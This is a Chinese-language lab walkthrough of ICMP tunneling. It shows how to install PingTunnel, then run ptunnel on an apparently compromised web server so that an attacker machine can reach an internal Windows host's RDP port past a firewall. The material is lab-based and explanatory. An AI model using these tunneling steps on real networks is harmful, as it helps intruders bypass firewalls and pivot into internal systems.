ICMP隧道简单实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相应的回复与请求。
在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙一般不会屏蔽ping的数据包),实现不受限制的访问访问。
PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,还可以为隧道设置密码。
1、环境搭建
192.168.100.X 模拟公网地址,192.168.118.x模拟内网地址。Web服务器模拟企业对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务。内网存在一台Windows机器,Web服务器可以与该机器连接。现在我们获取到了Web服务器的权限,想用ICMP搭建通往内网的隧道,连接内网Windows的3389端口。
准备kali(模拟公网vps)
准备web服务器(centos,模拟公网web,双网卡)
准备内网主机(windows)
拓扑图如下:
2、具体操作
(1)、对kali和webserver:
PingTunnel的安装
#安装libpcap的依赖环境
apt-get install byacc
apt-get install flex bison
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
注:部分出错原因:
安装make: yum -y install gcc automake autoconf libtool make
(2)、在Webserver的操作
#启动pingtunnel
ptunnel
#或(-x为隧道指定连接密码)
ptunnel -x 123456
3、连接测试
ptunnel -p 192.168.100.232 -lp 8888 -da 192.168.118.131 -dp 3389
-p 指定ICMP隧道另一端的IP
-lp:指定本地监听的端口
-da:指定要转发的目标机器的IP
-dp:指定要转发的目标机器的端口
-x:指定连接密码
4、成功连接
本地windows PC远程kali 8888端口,即成功连接内网windows3389